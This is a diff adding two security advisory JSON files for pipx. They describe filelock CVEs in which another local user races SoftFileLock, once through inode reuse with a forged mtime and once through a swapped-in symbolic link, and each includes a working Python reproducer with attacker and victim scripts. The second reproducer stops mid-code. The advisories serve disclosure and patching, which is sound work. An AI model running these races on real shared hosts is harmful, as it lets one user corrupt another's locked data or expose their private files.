diff --git a/advisories/BREW-pipx-CVE-2026-112906.json b/advisories/BREW-pipx-CVE-2026-112906.json new file mode 100644 index 0000000000..1f9ec91074 --- /dev/null +++ b/advisories/BREW-pipx-CVE-2026-112906.json @@ -0,0 +1,88 @@ +{ + "schema_version": "1.7.3", + "id": "BREW-pipx-CVE-2026-112906", + "published": "2026-10-27T19:07:18Z", + "modified": "2026-10-27T19:07:18Z", + "upstream": [ + "GHSA-2g95-wg33-c5x2", + "CVE-2026-112906" + ], + "affected": [ + { + "package": { + "ecosystem": "Homebrew", + "name": "pipx", + "purl": "pkg:brew/pipx" + }, + "ranges": [ + { + "type": "ECOSYSTEM", + "events": [ + { + "introduced": "1.17.13" + }, + { + "fixed": "1.18.4" + } + ] + } + ], + "ecosystem_specific": { + "fix": "bump", + "range_state": "fixed", + "upstream_fixed_in": "4.2.1", + "resource": "filelock", + "resource_purl": "pkg:pypi/filelock@4.2.2" + } + } + ], + "database_specific": { + "source": "matched", + "strategy": "registry", + "confidence": "high", + "upstream_evidence": [ + { + "strategy": "registry", + "ecosystem": "PyPI", + "name": "filelock", + "subject_version": "4.2.2", + "key": "pkg:pypi/filelock@4.2.2", + "resource": "filelock" + } + ] + }, + "summary": "filelock: SoftFileLock evicts a fresh lock file whose watched age another local user's pre-dated file passed on through inode reuse", + "details": "`SoftFileLock` and `MarkerSoftFileLock` evict an unparsable marker (the lock file at ``, whose presence says a process holds the lock) once a waiting contender has watched it unchanged for two seconds. `SoftFileLease` expires a lease the same way. The watch tells two looks apart by the marker's modification time (mtime) and inode number (the kernel's identity for a file, independent of its name) alone.\n\nAnother local user (the other user below) who can create files in the lock's directory, a sticky `/tmp` included (the sticky bit is a directory flag that lets only a file's owner remove it), parks an empty file of its own at the lock path. It dates that file to a future tick of the kernel's coarse clock (a clock that advances in steps of 4 ms), lets the waiters of the user running the lock (the lock user below) watch it past two seconds, and unlinks it in that tick. On a filesystem that hands a freed inode number straight back (ext4, overlayfs on ext4) the lock user's next marker repeats both values. It inherits the time spent watching the other user's file, and a second waiter removes it while its owner holds the lock.\n\nTwo of the lock user's processes then run the critical section together with no error. A `SoftFileLease` waiter takes a live lease that its owner wrote moments before, within milliseconds instead of after `lease_duration`. Affected versions: filelock >= 4.1.0 and <= 4.2.0 (finding `ANT-2026-RKC48J5B`).\n\n## Severity\n\n**CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:H/A:N, 4.7 (Medium).**\n\n`AV:L` (local): the other user needs an account on the same host. `AC:H` (high attack complexity): a race the other user cannot steer. It needs ext4-style inode reuse, a coarse-clock timestamp tick the other user can predict, and two polls of the lock user inside a 4 ms tick and a ~75 µs create-to-write gap. The scanner measured 2 to 10 % of attempts; none of our own 250 attempts fired. `PR:L` (low privileges): an unprivileged account is enough. `UI:N` (no user interaction): the lock user's processes act on their own. `C:N` (no confidentiality impact): the other user reads nothing. `I:H` (high integrity impact): two holders write the data the lock protects, and neither learns of the other. `A:N` (no availability impact): the lock keeps working.\n\nClassification from the review: security, conditional, by mechanism. It is the same cross-UID primitive (a UID is a user account's numeric id) as the stale-break inode-reuse race reported in a separate advisory: an inode number reused after the other user's unlink in a sticky directory, which our review reproduced across UIDs, plus a forged future mtime. The scanner rated it high (CWE-694) and demonstrated it across UIDs in its own runs. It did not fire in 250 attempts of ours over ext4 with inode reuse confirmed, nor in the scanner-side triage, so its cross-user claim rests on the report's own runs and on the mechanism.\n\n## Scope and preconditions\n\n- The other user can create files in the lock's directory; a root-owned `1777` directory is enough. It creates, `utime`s (sets the timestamps of) and unlinks only its own file. In the sticky directory its `unlink`, `rename`, `open(..., \"w\")` and `utime` on a marker of the lock user all fail, and deleting its own file only frees the lock.\n- The directory is on a filesystem that reuses a freed inode number at once: ext4, and overlayfs on it (thousands of create/unlink cycles returned one number). tmpfs does not reuse one, so the pair cannot repeat there; btrfs does not either.\n- File timestamps come from a coarse clock whose future values the other user can compute (`CLOCK_REALTIME_COARSE`, 4 ms steps on Linux 6.1; 20,000 file creations all carried that clock's value).\n- At least two processes of the lock user are waiting on the lock while the other user's file is there. The other user does not choose which processes overlap or when; each attempt blocks the lock for 2.2 s (for a lease, `lease_duration`).\n- No symbolic link, hard link or FIFO takes part, so the `fs.protected_*` sysctls (Linux settings that restrict following links and opening pipes in sticky world-writable directories) play no part. `StrictSoftFileLock` keys its watch the same way but only raises `SoftFileLockProtocolError`, so it breaks no lock there.\n\nfilelock's checks against another local user hold only when no other user can replace the lock's directory or any of its ancestors. That is the case when each ancestor belongs to the lock user or root and is either not writable by others or sticky. A user who can rename entries in a non-sticky directory above the lock controls every name below it. No file-based lock can defend against that.\n\n## Affected code\n\nAt the scanned commit b831496, the watch is [`SoftFileLock._marker_unchanged_for`](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_soft.py#L125-L132), with its caller in [`_try_break_stale_lock`](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_soft.py#L107-L123). The [`MarkerSoftFileLock`](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_marker.py#L74-L81) and [`SoftFileLease`](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_lease.py#L229-L256) paths hand an unparsable marker to the same code. The re-check in [`break_lock_file`](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_util.py#L113-L118) compares the values the contender just read.\n\n## Introduced\n\n0f7c4d3794dc (\"fix(soft): expire leases on the contender's clock\", #796, 2026-10-07), first released in 4.1.0 (verified against the tags). Earlier releases compared the marker's mtime with the wall clock, and this does not affect them.\n\n## Mechanism\n\n`SoftFileLock._acquire` creates the marker with `O_CREAT | O_EXCL` (create the file, fail if it exists) and only then writes the holder record. In between it calls `fstat` and `uname`, stats `/proc/self/ns/pid` and reads `/proc//stat`, so for about 75 µs (measured) the marker exists and is empty. A contender that polls in that gap must not take the marker for garbage, and the check that protects it is the two-second watch. `_try_break_stale_lock` reads the marker, finds no holder, and calls `break_lock_file(lock_file, mtime, ino)` only if `_marker_unchanged_for(mtime, ino)` reaches `MALFORMED_LOCK_AGE_THRESHOLD` (2.0 s). That function keeps `self._marker_seen = ((mtime, ino), first seen)` across polls and returns the elapsed monotonic time (time from a clock that only moves forward) while the pair repeats.\n\nNeither half of the pair belongs to one file. A file's owner sets its mtime to any value with `utime`, a future time included, and ext4 gives the inode number of an unlinked file to the next file created in the directory.\n\n1. While the lock is free, the other user creates an empty file at the lock path (inode `I`) and sets its mtime to `T`, a tick of the coarse clock about 2.2 s in the future.\n2. Every waiting process of the lock user polls each 50 ms, reads an empty file and records `_marker_seen = ((T, I), first seen)`. After 2 s each poll calls `break_lock_file`, whose `rename` fails with `EPERM` (operation not permitted; seen with `strace`): the directory is sticky and the file belongs to the other user. `suppress(OSError, ...)` swallows the error, the file stays, and nothing resets `_marker_seen`.\n3. When the coarse clock reaches `T`, the other user unlinks its file. Inode `I` is free.\n4. Process F of the lock user polls during tick `T`. Its `O_EXCL` create succeeds, and its marker is inode `I` with mtime `T`.\n5. Process S polls before F has written its record. It reads an empty file with pair `(T, I)`, `_marker_unchanged_for` returns the 2.2 s that S spent watching the other user's file, and S calls `break_lock_file(lock_file, T, I)`.\n6. `break_lock_file` compares mtime and inode before and after its rename, but with the values S just read from F's marker, so both checks pass. F's marker has S's UID, so the rename and the unlink succeed.\n7. F writes its record into the unlinked inode and returns from `acquire()`. The path is empty, so the next contender to poll creates a marker and returns from `acquire()` too. F's release finds another inode at the path (`_unlink_open_marker`) and leaves it. Neither holder learns anything.\n\nStep 4 needs a poll inside one 4 ms tick, and step 5 a second poll inside F's 75 µs gap. Step 5 is far likelier than independent 50 ms timers would make it, because contenders that wait together bunch. With filelock's DEBUG messages timestamped, nine waiters polled within 2 to 3 ms of one another, several 0.1 ms apart or closer. In a run where the other user also recorded what replaced its file, 13 of 100 successors appeared in tick `T`, and a waiter broke 7 of those 13.\n\n`MarkerSoftFileLock` and `SoftFileLease` hand an unparsable marker to the same code, and the lease uses the clock a second time, for expiry: `if owner.mode == \"lease\" and self._marker_unchanged_for(mtime, ino) >= self._lease_duration: break_lock_file(...)`. `_marker_seen` is one attribute, so the same empty file primes this branch, and step 5 has no gap to hit. To every waiter, F's complete lease record with pair `(T, I)` has gone unrefreshed for `lease_duration`, until F's first heartbeat (the periodic refresh a lease holder runs). With the lock user's processes using `SoftFileLease(path, lease_duration=2)` and holding for 1 s, the same other user produced an overlap in 17 of 30 attempts. The superseded holder's `on_compromise` (the callback that tells a holder it lost the lock) reported `owner-changed` 0.67 s after it had entered, at its first heartbeat; a holder that releases before that is not told at all.\n\n## Reproduction\n\nThe scanner's reproducer for finding `ANT-2026-RKC48J5B`, as received, ran against commit b831496b0273ecd11bf02b8d080ca8b673a538c1. The `repro` script drives the files under `repro.d/`.\n\n**`repro`**\n\n```python\n#!/usr/bin/env python3\nimport os\nimport shutil\nimport subprocess\nimport sys\nimport time\n\nLOCK_DIR = \"/tmp/locks\"\nLOCK_PATH = \"/tmp/locks/app.lock\"\nHOLDS_LOG = \"/tmp/holds.log\"\n\n\ndef start_victims():\n # a root-owned sticky directory like /tmp, and ten processes of user victim taking turns on one lock in it\n shutil.rmtree(LOCK_DIR, ignore_errors=True)\n os.mkdir(LOCK_DIR)\n os.chmod(LOCK_DIR, 0o1777)\n victim = [sys.executable, \"/tmp/repro.d/victim.py\", LOCK_PATH]\n with open(HOLDS_LOG, \"w\") as holds_log:\n return [\n subprocess.Popen(victim, stdout=holds_log, user=\"victim\", group=\"victim\", extra_groups=[])\n for _ in range(10)\n ]\n\n\ndef holds_entered_after(moment):\n holds = []\n for line in open(HOLDS_LOG):\n fields = dict(field.split(\"=\") for field in line.split())\n hold = {\"entered\": float(fields[\"entered\"]), \"exited\": float(fields[\"exited\"]), \"line\": line.strip()}\n if hold[\"entered\"] > moment:\n holds.append(hold)\n return sorted(holds, key=lambda hold: hold[\"entered\"])\n\n\ndef attack_until_overlap(phase, date_offset_s, max_attempts):\n victims = start_victims()\n attacker = [sys.executable, \"/tmp/repro.d/attacker.py\", LOCK_PATH, str(date_offset_s)]\n for attempt in range(1, max_attempts + 1):\n run = subprocess.run(attacker, stdout=subprocess.PIPE, text=True, check=True,\n user=\"attacker\", group=\"attacker\", extra_groups=[])\n print(f\"{phase} attempt {attempt}: {run.stdout.strip()}\", flush=True)\n unlinked_at = float(run.stdout.split(\"unlinked_at=\")[1])\n time.sleep(0.4) # a hold lasts 0.3 s: whoever entered after the unlink has logged it by now\n\n # A hold entered within 1 ms of the unlink can also come from a separate flaw in break_lock_file (see the\n # report), so those are left out. time.monotonic() is one clock for every process on the machine.\n holds = holds_entered_after(unlinked_at + 0.001)\n overlaps = [(first, second) for first, second in zip(holds, holds[1:])\n if second[\"entered\"] < first[\"exited\"]]\n if overlaps:\n break\n for victim in victims:\n victim.kill()\n victim.wait()\n return overlaps\n\n\n# control: the attacker's file is dated an hour after the tick in which it is unlinked\ncontrol = attack_until_overlap(\"CONTROL\", date_offset_s=3600, max_attempts=20)\n# attack: the same file dated at that tick, i.e. with the mtime a victim's marker created in that tick gets\nobserved = attack_until_overlap(\"OBSERVED\", date_offset_s=0, max_attempts=250)\n\n# check: no two victims may ever be inside the lock at once\nfor phase, overlaps in [(\"CONTROL\", control), (\"OBSERVED\", observed)]:\n print(f\"{phase}: {len(overlaps)} time(s) two victims inside the lock at once\")\n for first, second in overlaps:\n print(f\"{phase}: {first['line']}\")\n print(f\"{phase}: {second['line']}\")\nprint(\"BUG\" if observed and not control else \"OK\")\n```\n\n**`repro.d/attacker.py`**\n\n```python\n#!/usr/bin/env python3\nimport os\nimport random\nimport sys\nimport time\n\nlock_path, date_offset_s = sys.argv[1], int(sys.argv[2])\n\nCLOCK_REALTIME_COARSE = 5 # ; the kernel stamps new files from it, and it moves once per timer tick\ntick_ns = round(time.clock_getres(CLOCK_REALTIME_COARSE) * 1e9)\n\n# take the lock path the moment it is free, like any contender\nwhile True:\n try:\n fd = os.open(lock_path, os.O_CREAT | os.O_EXCL | os.O_WRONLY, 0o644)\n break\n except FileExistsError:\n time.sleep(0.002)\n\n# Left empty for longer than the 2 s filelock gives an unparsable marker. The victims poll every 50 ms: the random\n# part makes some attempts free the path just before one of their polls.\npark_s = random.uniform(2.2, 2.25)\nrelease_tick = time.clock_gettime_ns(CLOCK_REALTIME_COARSE) + round(park_s * 1e9 / tick_ns) * tick_ns\nmtime_ns = release_tick + date_offset_s * 10**9\nos.utime(fd, ns=(mtime_ns, mtime_ns))\ninode = os.fstat(fd).st_ino\nos.close(fd)\n\ntime.sleep(park_s - 0.05)\nwhile time.clock_gettime_ns(CLOCK_REALTIME_COARSE) < release_tick:\n pass\nos.unlink(lock_path) # a marker created before the next tick gets mtime == release_tick and, on ext4, this inode\nunlinked_at = time.monotonic()\ntime.sleep(0.1) # exiting right away keeps a CPU busy during the victims' polls, and overlaps get much rarer\nprint(f\"inode={inode} mtime_ns={mtime_ns} unlinked_in_tick={release_tick} unlinked_at={unlinked_at}\")\n```\n\n**`repro.d/victim.py`**\n\n```python\n#!/usr/bin/env python3\nimport os\nimport sys\nimport time\n\nfrom filelock import SoftFileLock\n\nlock = SoftFileLock(sys.argv[1])\nwhile True:\n with lock:\n entered = time.monotonic()\n time.sleep(0.3) # work on whatever the lock protects\n print(f\"pid={os.getpid()} entered={entered} exited={time.monotonic()} is_locked={lock.is_locked}\", flush=True)\n time.sleep(0.05)\n```\n\n## Attack sequence\n\n```mermaid\nsequenceDiagram\n participant X as other local user\n participant P as lock path (sticky dir, ext4, 4 ms clock ticks)\n participant S as process S of the lock user (waiting)\n participant F as process F of the lock user\n X->>P: create empty file, inode I, utime to future tick T\n S->>P: poll: empty file, key (T, I), watch starts\n Note over S: after 2 s each poll calls break_lock_file, rename gets EPERM, error swallowed, watch keeps counting\n rect rgb(255, 214, 214)\n X->>P: at tick T: unlink own file, I is free\n F->>P: O_EXCL create in tick T: inode I, mtime T, record not yet written\n S->>P: poll: empty file, key (T, I) seen for 2.2 s: break_lock_file(T, I) renames and unlinks F's marker\n F->>P: writes record into the unlinked inode, acquire() returns\n Note over S,F: the path is empty, the next contender creates a marker: two holders, no error\n end\n```\n\n## Evidence\n\nThe scanner's reproducer runs ten copies of a default-option `SoftFileLock` program (0.3 s of work per hold, 50 ms between holds) as user `victim` in a root-owned `1777` directory on overlayfs over ext4 (Linux 6.1, CPython 3.14). A program running as user `attacker` waits until the lock path is free, creates an empty file there, dates it to a coarse-clock tick 2.2 to 2.25 s ahead, and unlinks it when `CLOCK_REALTIME_COARSE` reaches that tick. Control attempts date the file an hour after the unlink tick (20 attempts, 0 overlaps); the other attempts date it at that tick.\n\nIn four runs the overlap came after 9, 12, 27 and 20 attempts. Each showed the hold lines of two `victim` processes overlapping in time with `is_locked=True`, for example `pid=217 entered=241.295272609 exited=241.59542327` and `pid=216 entered=241.295518489 exited=241.595641553`. 40 of 650 attempts over seven runs ended this way, none with the file dated 4 ms earlier (100 attempts) or an hour later (150). A stepped run (one process stalled 0.2 s between creating its marker and writing its record, one waiting contender) deleted the fresh marker in 3 of 3 trials with the matching date and 0 of 5 with other dates.\n\nOur review ran the reproducer over a loop-mounted ext4 `/tmp` (the host's btrfs does not hand a freed number back) with inode reuse confirmed (inode 18 reused on every attempt, `--cpus 2`). 0 of 250 attempts fired on 4.2.0 in 802 s, as in the scanner-side triage, and 0 of 250 on the head of #843, so our run gives no evidence either way. The review confirmed that `utime` cannot set the file's change time. The classification follows from the cross-UID inode-reuse primitive verified in the stale-break race of the separate advisory and from the report's own runs.\n\n## Impact\n\nA local user who can create a file in a soft lock's directory, a sticky directory such as `/tmp` included, gets two processes of another user to hold the same `SoftFileLock` at once (`MarkerSoftFileLock` too, by the shared code). Neither process learns of the overlap, so both modify the data the lock protects. The other user has no simpler way to get this: in the sticky directory its `unlink`, `rename`, `open(..., \"w\")` and `utime` on a marker of the lock user all fail, and deleting its own file only frees the lock. For `SoftFileLease` the effect is a live, refreshed claim taken after milliseconds instead of after `lease_duration` without a refresh. The holder learns of it one heartbeat later, or not at all if it releases first. Not affected: releases before 4.1.0, filesystems that do not reuse inode numbers at once (tmpfs, btrfs), and a lock with a single contender.\n\n## Workarounds\n\nKeep soft locks in a directory other users cannot create files in (a `0700` directory of the lock's user) rather than a shared sticky directory, or put the lock directory on tmpfs, which does not reuse inode numbers. Where the native `FileLock` works (local ext4 with `flock`), prefer it over `SoftFileLock`. Raise `poll_interval` so fewer waiters bunch inside one clock tick; this lowers the hit rate but does not close the window.\n\n## Patched version\n\n4.2.1.\n\nFix: https://github.com/tox-dev/filelock/pull/843\n\n## Credits\n\nReported by Anthropic's OSS Scanner (automated analysis), 15 October 2026; reviewed by the maintainers.\n\n- 2026-10-15 23:08 UTC: report received (finding `ANT-2026-RKC48J5B`, scanned commit b831496b0273)\n- 2026-10-16 00:46 UTC: draft advisory created\n- 2026-10-16 01:42 UTC: fix PR #843 opened", + "severity": [ + { + "type": "CVSS_V3", + "score": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:H/A:N" + } + ], + "references": [ + { + "type": "WEB", + "url": "https://github.com/tox-dev/filelock/security/advisories/GHSA-2g95-wg33-c5x2" + }, + { + "type": "ADVISORY", + "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-112906" + }, + { + "type": "WEB", + "url": "https://github.com/tox-dev/filelock/pull/843" + }, + { + "type": "WEB", + "url": "https://github.com/tox-dev/filelock/commit/740ff666b62a88496c8d7394e4e6230605e4d62b" + }, + { + "type": "PACKAGE", + "url": "https://github.com/tox-dev/filelock" + }, + { + "type": "WEB", + "url": "https://github.com/tox-dev/filelock/releases/tag/4.2.1" + } + ] +} diff --git a/advisories/BREW-pipx-CVE-2026-112914.json b/advisories/BREW-pipx-CVE-2026-112914.json new file mode 100644 index 0000000000..370f382a11 --- /dev/null +++ b/advisories/BREW-pipx-CVE-2026-112914.json @@ -0,0 +1,88 @@ +{ + "schema_version": "1.7.3", + "id": "BREW-pipx-CVE-2026-112914", + "published": "2026-10-27T19:07:18Z", + "modified": "2026-10-27T19:07:18Z", + "upstream": [ + "GHSA-crv4-6mhj-j5jh", + "CVE-2026-112914" + ], + "affected": [ + { + "package": { + "ecosystem": "Homebrew", + "name": "pipx", + "purl": "pkg:brew/pipx" + }, + "ranges": [ + { + "type": "ECOSYSTEM", + "events": [ + { + "introduced": "1.17.13" + }, + { + "fixed": "1.18.4" + } + ] + } + ], + "ecosystem_specific": { + "fix": "bump", + "range_state": "fixed", + "upstream_fixed_in": "4.2.1", + "resource": "filelock", + "resource_purl": "pkg:pypi/filelock@4.2.2" + } + } + ], + "database_specific": { + "source": "matched", + "strategy": "registry", + "confidence": "high", + "upstream_evidence": [ + { + "strategy": "registry", + "ecosystem": "PyPI", + "name": "filelock", + "subject_version": "4.2.2", + "key": "pkg:pypi/filelock@4.2.2", + "resource": "filelock" + } + ] + }, + "summary": "filelock: SoftFileLock stale-break restore follows a swapped-in symbolic link and hard-links a file of the user running the lock into the lock directory", + "details": "When a soft-lock stale break finds that the marker (the lock file at ``) it renamed aside was a live one recreated by a successor, the restore branch of `break_lock_file()` checks the break name with `lstat` (a check that reads a name without following a symbolic link) and then calls `os.link(break_path, lock_file)` by name. On CPython 3.12 and later on Linux (and on macOS) that call follows a symbolic link (a file that redirects to another path). A local user (the other user below) who can write a shared lock directory without the sticky bit (a directory flag that lets only a file's owner rename or remove it) replaces the break name with a symbolic link between those two calls.\n\nThe `SoftFileLock`, `MarkerSoftFileLock`, `SoftFileLease` or `lifetime` break of the user running the lock (the lock user below) then creates a hard link (a second name for the same file), in that directory, to any of the lock user's own files on the same filesystem. That includes files inside directories the other user cannot enter and links that `fs.protected_hardlinks` (a Linux setting that forbids hard links to files one does not own) refuses the other user when it asks itself. The link exposes the file's size, times, mode and owner, keeps the inode (the kernel's identity for a file, independent of its name) alive, and gives the other user a name it can move. On 4.2.0 a later `FileLock` of the lock user on that name truncated the file. Affected versions: filelock >= 4.1.0 and <= 4.2.0 (finding `ANT-2026-SB29HIAL`).\n\n## Severity\n\n**CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:L/I:H/A:N, 5.3 (Medium).**\n\n`AV:L` (local): the other user needs an account on the same host. `AC:H` (high attack complexity): two short races against a few lines of Python, timed by inotify (a Linux facility that reports file events), and the lock user must take the lock again and again (the scanner won 10 runs out of 10 after 9 to 910 lock cycles). `PR:L` (low privileges): an unprivileged account is enough. `UI:N` (no user interaction): the lock user's process acts on its own. `C:L` (low confidentiality impact): the file's metadata through the new name, not its content. `I:H` (high integrity impact): the other user chooses the file, and whatever the lock user later does to names in that directory lands on it. On 4.2.0 the lock user's own `FileLock` truncated the 17-byte private file to 0 bytes and, with a permissive `mode`, would have changed its mode too. `A:N` (no availability impact): the lock keeps working.\n\nClassification from the review: security, conditional on a shared parent without the sticky bit, which crosses the protected-directory boundary. The scanner rated it high (CWE-363). This is an earlier-public-context finding. #786 added the restore branch and guarded a symbolic link already present when `lstat` runs, not one swapped in after it.\n\n## Scope and preconditions\n\n- The other user can write the lock directory, and it has no sticky bit: a `0777` or group-writable cache or project directory. In a root-owned `1777` directory the unprivileged lock user cannot rename the other user's marker and only waits. In a `1777` directory the lock user owns, `fs.protected_symlinks=1` (a Linux setting that refuses to follow another user's symbolic link in a world-writable sticky directory) makes the `link` fail with `EACCES` (permission denied). Testing showed no effect in sticky directories.\n- The interpreter's `os.link` follows symbolic links. CPython 3.14 on Linux issues `linkat(..., AT_SYMLINK_FOLLOW)`. CPython 3.11 issues `link(2)`, which links the symbolic link itself, and is not affected. The scanner did not test 3.12 and 3.13. On macOS `link(2)` follows (confirmed in our review on macOS 27.0.1: a plain `os.link` of a symbolic link gave the target `st_nlink` 2, that is two names).\n- The target file and the lock directory are on the same filesystem (hard links cannot cross filesystems), and the lock user takes the lock more than once.\n- Every soft-lock path reaches the branch: `SoftFileLock`, `MarkerSoftFileLock`, `SoftFileLease` and the `lifetime` break. The native `FileLock` does not, but it is the consumer that turns the planted link into a truncation.\n\nfilelock's checks against another local user hold only when no other user can replace the lock's directory or any of its ancestors. That is the case when each ancestor belongs to the lock user or root and is either not writable by others or sticky. A user who can rename entries in a non-sticky directory above the lock controls every name below it, which no file-based lock can defend against. This finding is about what the lock itself adds inside such a directory, a hard link the other user cannot make on its own.\n\n## Affected code\n\nAt the scanned commit b831496, the restore branch of [`break_lock_file`](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_util.py#L113-L122) runs for [`SoftFileLock._try_break_stale_lock`](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_soft.py#L107-L123), [`MarkerSoftFileLock`](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_marker.py#L74-L81), [`SoftFileLease`](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_lease.py#L229-L256) and the [`lifetime` break](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_api.py#L1576-L1588). The truncation in [`UnixFileLock._finalize_locked_fd`](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_unix.py#L150-L154) is what a later native lock on the planted name did to the file (reported in its own advisory).\n\n## Introduced\n\nfc73fc51e137 (\"fix(soft): restore a live marker a stale break moved aside\", #786, 2026-10-08), first released in 4.1.0 (verified against the tags). Releases before 4.1.0 have no restore branch, so this does not affect them.\n\n## Mechanism\n\n```python\n# src/filelock/_util.py:115-122\nbreak_path: Final[str] = f\"{lock_file}.break.{os.getpid()}.{secrets.token_hex(16)}\"\nPath(lock_file).rename(break_path)\nif (st_after := os.lstat(break_path)).st_mtime <= mtime_before and st_after.st_ino == ino_before:\n Path(break_path).unlink()\nelif stat.S_ISREG(st_after.st_mode) and _HAS_LINK: # pragma: needs hard-link\n with suppress(FileExistsError):\n os.link(break_path, lock_file)\n Path(break_path).unlink()\n```\n\nThe `S_ISREG` test (is it a regular file) is about what `lstat` saw on line 117, not about what `link` resolves on line 121. The docstring says the code must not put a symbolic link back \"because `link` would follow a symlink to its target\", and the test at the scanned commit names the consequence (\"publish the victim file's inode at the lock path\"), but that test only covers a symbolic link that is already there when `lstat` runs. The 128-bit token stops others from guessing the break name, not from reading it. The name is in the directory listing from the moment the rename has happened. The package's other links pass `follow_symlinks=False` where the runtime honours it; this one does not. An `strace` (a tool that logs a process's system calls) on CPython 3.14.8 shows `os.link(a, b)` as `linkat(AT_FDCWD, a, AT_FDCWD, b, AT_SYMLINK_FOLLOW)`.\n\nThe other user plays both the stale holder and the \"successor\" the branch exists for:\n\n1. The other user leaves a genuine marker of a dead process at the lock path (a forked child takes the lock and `_exit`s). The lock user's `_try_break_stale_lock()` reads it and `owner_is_stale()` agrees, so `break_lock_file()` renames it to `app.lock.break..`. In a directory without the sticky bit the lock user may rename a file it does not own.\n2. The other user still owns that file and gives it a newer mtime (modification time) after the `lstat` on line 113. Line 117 then takes it for a recreated marker, and line 119 sees a regular file.\n3. The other user renames a symbolic link to the lock user's private file over the break name.\n4. Line 121 resolves the link with the lock user's credentials, so `app.lock` becomes a second hard link to the private file. Line 122 removes the symbolic link.\n\nThe other user's own `os.link()` on the private file fails with `EACCES` (it cannot enter the `0700` directory). On a file of the lock user it can reach, `fs.protected_hardlinks=1` answers `EPERM` (operation not permitted). The lock user would evict the odd \"marker\" after `MALFORMED_LOCK_AGE_THRESHOLD` (2 s), so the other user moves it to another name first, which the non-sticky directory allows. Both steps are races against a few lines of Python. There are about 40 µs between the `lstat` on line 113 and the one on line 117 (half of it the `rename`), and about 2 µs between line 117 and the `os.link()` call. inotify tells the other user when to act. A watch reports the lock user closing the marker after reading it, then the rename together with the break name. A bump that comes before line 113 costs nothing, since line 113 returns and the lock user looks again on its next poll.\n\n## Reproduction\n\nThe scanner's reproducer for finding `ANT-2026-SB29HIAL`, as received, ran against commit b831496b0273ecd11bf02b8d080ca8b673a538c1. The `repro` script drives the files under `repro.d/`.\n\n**`repro`**\n\n```python\n#!/usr/bin/env python3\nimport os\nimport shutil\nimport subprocess\nimport sys\n\nsys.stdout.reconfigure(line_buffering=True)\n\nSHARED_DIR = \"/tmp/shared-locks\"\nLOCK_PATH = SHARED_DIR + \"/app.lock\"\nPRIVATE_DIR = \"/home/victim/private\"\nKEY_PATH = PRIVATE_DIR + \"/signing.key\"\nAS_VICTIM = {\"user\": \"victim\", \"group\": \"victim\", \"extra_groups\": []}\nAS_ATTACKER = {\"user\": \"attacker\", \"group\": \"attacker\", \"extra_groups\": []}\n# strace alters no call. On calls that name the lock path it holds the victim 2 s after rename() and 2 s before\n# linkat(), that is on both sides of the lstat of the break name in break_lock_file() (src/filelock/_util.py:117).\nSLOWED_DOWN = [\"strace\", \"-o\", \"/dev/null\", \"-P\", LOCK_PATH, \"-e\", \"trace=rename,linkat\"]\nSLOWED_DOWN += [\"-e\", \"inject=rename:delay_exit=2000000\", \"-e\", \"inject=linkat:delay_enter=2000000\"]\n\n# set up: the victim's key in a 0700 directory, and a lock directory anyone can write, without the sticky bit\nshutil.rmtree(PRIVATE_DIR, ignore_errors=True)\nos.mkdir(PRIVATE_DIR, 0o700)\nwith open(KEY_PATH, \"w\") as key_file:\n key_file.write(\"0123456789abcdef\\n\")\nos.chmod(KEY_PATH, 0o600)\nshutil.chown(PRIVATE_DIR, \"victim\", \"victim\")\nshutil.chown(KEY_PATH, \"victim\", \"victim\")\nshutil.rmtree(SHARED_DIR, ignore_errors=True)\nos.mkdir(SHARED_DIR)\nos.chmod(SHARED_DIR, 0o777)\nkey_before = os.stat(KEY_PATH)\nprint(f\"{KEY_PATH}: links={key_before.st_nlink} size={key_before.st_size}\")\nfor knob in (\"protected_hardlinks\", \"protected_symlinks\"):\n print(f\"fs.{knob} =\", open(f\"/proc/sys/fs/{knob}\").read().strip())\n\n# control: the attacker cannot give the key a name in the shared directory by itself\nlink_by_attacker = f\"import os; os.link({KEY_PATH!r}, {SHARED_DIR + '/by-attacker'!r})\"\ncontrol = subprocess.run([sys.executable, \"-c\", link_by_attacker], capture_output=True, text=True, **AS_ATTACKER)\nprint(\"CONTROL the attacker's own link() of the key:\", control.stderr.strip().splitlines()[-1])\n\n# attack: the victim takes an ordinary SoftFileLock while the attacker works on the break name\nsubprocess.run([sys.executable, \"/tmp/repro.d/plant_stale_marker.py\", LOCK_PATH], check=True, **AS_ATTACKER)\nattacker = subprocess.Popen([sys.executable, \"/tmp/repro.d/swap_break_name.py\", LOCK_PATH, KEY_PATH], **AS_ATTACKER)\nvictim_job = [*SLOWED_DOWN, sys.executable, \"/tmp/repro.d/victim_job.py\", LOCK_PATH]\nsubprocess.run(victim_job, check=True, timeout=60, **AS_VICTIM)\nassert attacker.wait(timeout=30) == 0, \"the attacker did not get through its steps\"\n\n# check, as root: does the key now have a name in the shared directory?\nkey_after = os.stat(KEY_PATH)\nnames_of_the_key = [\n name for name in os.listdir(SHARED_DIR) if os.path.samestat(key_after, os.lstat(f\"{SHARED_DIR}/{name}\"))\n]\nprint(f\"OBSERVED {KEY_PATH}: links={key_after.st_nlink}, names in {SHARED_DIR} with its inode: {names_of_the_key}\")\n\nif names_of_the_key:\n # what that name is good for: another program of the victim takes a FileLock there, which truncates the file\n shared_name = f\"{SHARED_DIR}/{names_of_the_key[0]}\"\n 